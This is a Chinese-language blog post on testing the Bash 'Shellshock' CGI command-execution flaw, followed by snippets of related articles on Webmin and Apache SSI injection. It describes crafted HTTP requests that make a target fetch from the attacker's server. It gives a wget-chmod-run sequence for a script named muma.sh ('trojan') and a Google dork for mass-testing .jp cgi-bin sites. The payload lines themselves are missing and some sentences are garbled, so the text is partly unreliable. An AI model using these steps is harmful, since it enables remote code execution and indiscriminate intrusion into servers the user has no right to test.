Bash遠端解析命令執行漏洞測試方法

2021-07-30 04:22:29 字數 2131 閱讀 3000

bash漏洞為什麼能夠執行

bash漏洞的原理:

bash除了可以將shell變數匯出為環境變數,還可以將shell函式匯出為環境變數!當前版本的bash通過以函式名作為環境變數名,以「()」為結束,而是一直執行其後的shell命令。

簡單地說就是,bash指令碼在解析某些特殊字串時出現邏輯錯誤導致可以執行後面的命令。

bash漏洞與遠端執行有啥聯絡

看到上面的解釋,很多童鞋都理解成了本地的漏洞,然後很多人又覺得,本地有啥可以利用的,於是就忽略了這個神級漏洞的存在。我想說的是,這個漏洞,利用熱度可以媲美當年的ms08-067,威力雖然弱了點,但遠端控制電腦還是可以的。

get
後台不僅僅用python、perl來解釋執行並反饋給客戶端response,當然還可以換做bash指令碼來解釋執行提交上來的get/post請求。所以,理論上,你在http請求中插入乙個bash命令,比如

connection: keep-alive這是因為這個漏洞是bash直譯器在解釋某些特殊的變數時才可以觸發的:

在於bash處理以「()」為結束,而是一直執行其後的shell命令

通過自定義這些引數的值為「函式環境變數」的形式,就可以觸發後面的命令,惡意的客戶僅需要傳送特殊構造的http請求就可以使伺服器執行特定的命令(命令的許可權和解釋http請求的bash指令碼環境相同)。

實際測試中,我的構造的測試請求:

過程是這樣的:

我傳送get請求–>目標伺服器cgi路徑

目標伺服器解析這個get請求,碰到useragent後面的引數,bash直譯器就執行了後面的命令

目標伺服器wget–>我的***.com

我的vps記錄下這個訪問的ip位址

然後檢視我的***.com伺服器的訪問記錄,就可以確定目標有沒有去訪問,如果訪問了,那麼,很好,它是有漏洞的。

大神是這樣測試漏洞的

當然,你也可以這樣構造:

connection: keep-alive實際上執行了下面三句:

/usr/bin/wget -o /tmp/muma.sh   ;

chmod 777 /tmp/muma.sh;

./tmp/muma.sh

你會發現,指令碼就執行了,這就是bash漏洞利用測試的精髓。

當然,你可以利用批量google搜尋:

filetype:cgi inurl:cgi-bin site:jp

然後批量提交類似的get請求,你就能做到批量測試了。測試表明,500個url裡有6-8個有bash漏洞

bash執行漏洞

在bash shell下執行以下 env x echo vulnerable bash c echo this is a test 如果輸出 vulnerable this is a test 表示存在漏洞。打了補丁會輸出以下錯誤 bash 警告 x ignoring function defini...

Webmin 遠端命令執行漏洞

webmin是乙個用於管理類unix系統的管理配置工具,具有web頁面。在其找回密碼頁面中,存在一處無需許可權的命令注入漏洞,通過這個漏洞攻擊者即可以執行任意系統命令。影響版本 webmin 1.920 漏洞 def peer end target and input verification de...

Apache SSI 遠端命令執行漏洞

漏洞分析 漏洞復現之前,要知道ssi是什麼,那麼ssi是什麼呢?ssi 即server side includes ssi提供了一種對現有html文件增加動態內容的方法,不需要編寫複雜的jsp php asp等程式或者呼叫cgi程式。因為是docker拉取的環境,可能和自己搭建的環境有出入,本人找的...